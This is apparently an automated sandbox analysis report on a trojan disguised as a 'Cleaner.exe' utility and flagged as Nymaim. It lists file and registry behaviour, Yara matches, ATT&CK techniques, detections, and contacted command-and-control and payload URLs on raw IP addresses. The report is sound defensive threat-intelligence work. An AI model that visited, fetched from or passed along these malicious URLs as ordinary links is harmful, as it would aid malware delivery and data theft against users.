Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Nymaim

Source: Yara match	File source: 0.0.file.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.20.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.26.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.23.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.20.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.27.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.28.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.19.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.31.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.32.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.26.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.24.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.25.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.18.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.24.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.22.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.30.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.31.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.28.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.19.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.18.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.21.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.32.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.30.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.22.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.29.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.29.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.21.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.2200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.27.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.25.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.21c0e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.2200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.400000.23.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.309205181.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.324269337.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.303645653.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.313758394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.314053861.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.340099417.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.303166143.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.308578404.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.318572521.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.352139791.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.308973675.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.339625229.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.337565462.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.319567616.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.313553571.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.346627601.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.301103570.0000000002200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.338909457.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.319176574.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.352775062.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.324752364.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.324022607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.352494062.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.345502074.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.346406888.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.313405136.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.308781752.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.318868933.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.345921160.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.324526447.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.302389344.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.351860425.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.302874171.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	12 Process Injection	11 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	12 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	123 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Software Packing	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Timestomp	DCSync	14 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\soft[1]	29%	ReversingLabs	Win32.Trojan.Lazy
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\dll[1]	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Bunifu_UI_v1.5.3.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\6clvSx8en71SUl1hUuzQ6n56lWM0\Cleaner.exe	29%	ReversingLabs	Win32.Trojan.Lazy

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.0.file.exe.400000.21.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.31.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.7.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.19.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.5.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.23.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.13.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.25.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.9.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.17.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.11.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.15.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.29.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.27.unpack	100%	Avira	HEUR/AGEN.1250671		Download File
0.0.file.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1250671		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://208.67.104.97/powfhxhxcjzx/ping.php?sub=NOSUB&stream=start&substream=mixinte	100%	URL Reputation	malware
http://www.sajatypeworks.com-	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cn	0%	URL Reputation	safe
https://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/ho	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.como2	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/jp/ho	0%	Avira URL Cloud	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/Y0ho	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/.T	0%	URL Reputation	safe
http://www.typography.net	0%	URL Reputation	safe
http://208.67.104.97/powfhxhxcjzx/ping.php?sub=NOSUB&stream=mixtwo&substream=mixinte	100%	URL Reputation	malware
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.de	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://107.182.129.235/storage/ping.php	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.zhongyicts.com.cn.TTF	0%	Avira URL Cloud	safe
http://www.fontbureau.com(	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/.TTC	0%	URL Reputation	safe
http://www.sajatypeworks.comtr	0%	Avira URL Cloud	safe
http://107.182.129.235/storage/extension.php	0%	URL Reputation	safe
http://85.31.46.167/software.php	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/F	0%	URL Reputation	safe
http://208.67.104.97/powfhxhxcjzx/ping.php?sub=NOSUB&stream=start&subst	100%	URL Reputation	malware
https://iplogger.orgx	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
https://g-cleanit.hk	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.sajatypeworks.comcom	0%	URL Reputation	safe
http://171.22.30.106/library.php	100%	URL Reputation	malware
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	0%	Avira URL Cloud	safe
http://www.sakkal.comI	0%	Avira URL Cloud	safe
http://www.fontbureau.comH_	0%	Avira URL Cloud	safe
http://www.tiro.comq	0%	Avira URL Cloud	safe
http://www.sajatypeworks.comd:	0%	Avira URL Cloud	safe
http://www.typography.netad	0%	Avira URL Cloud	safe
http://www.monotype.9	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
iplogger.org	148.251.234.83	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://208.67.104.97/powfhxhxcjzx/ping.php?sub=NOSUB&stream=start&substream=mixinte	true	URL Reputation: malware	unknown
http://208.67.104.97/powfhxhxcjzx/ping.php?sub=NOSUB&stream=mixtwo&substream=mixinte	true	URL Reputation: malware	unknown
http://107.182.129.235/storage/ping.php	false	URL Reputation: safe	unknown
http://107.182.129.235/storage/extension.php	false	URL Reputation: safe	unknown
http://85.31.46.167/software.php	true	URL Reputation: safe	unknown
https://iplogger.org/1Pz8p7	false		high
http://171.22.30.106/library.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.jiyu-kobo.co.jp/ho	Cleaner.exe, 00000016.00000003.434005148.000001CFE1B2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com-	Cleaner.exe, 00000016.00000003.428279324.000001CFE1B22000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.com/designersG	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.como2	Cleaner.exe, 00000016.00000003.428279324.000001CFE1B22000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cn	Cleaner.exe, 00000016.00000003.430832292.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430600821.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430979463.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.430553370.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/jp/ho	Cleaner.exe, 00000016.00000003.434380388.000001CFE1B30000.00000004.00000020.00020000.00000000.sdmp, Cleaner.exe, 00000016.00000003.434233291.000001CFE1B29000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	Cleaner.exe, 00000016.00000002.563291404.000001CFC91C1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Cleaner.exe, 00000016.00000003.439359814.000001CFE1B4E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	Cleaner.exe, 00000016.00000002.568193872.000001CFE2DA2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/Y0ho	Cleaner.exe, 00000016.00000003.434005148.000001CFE1B2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
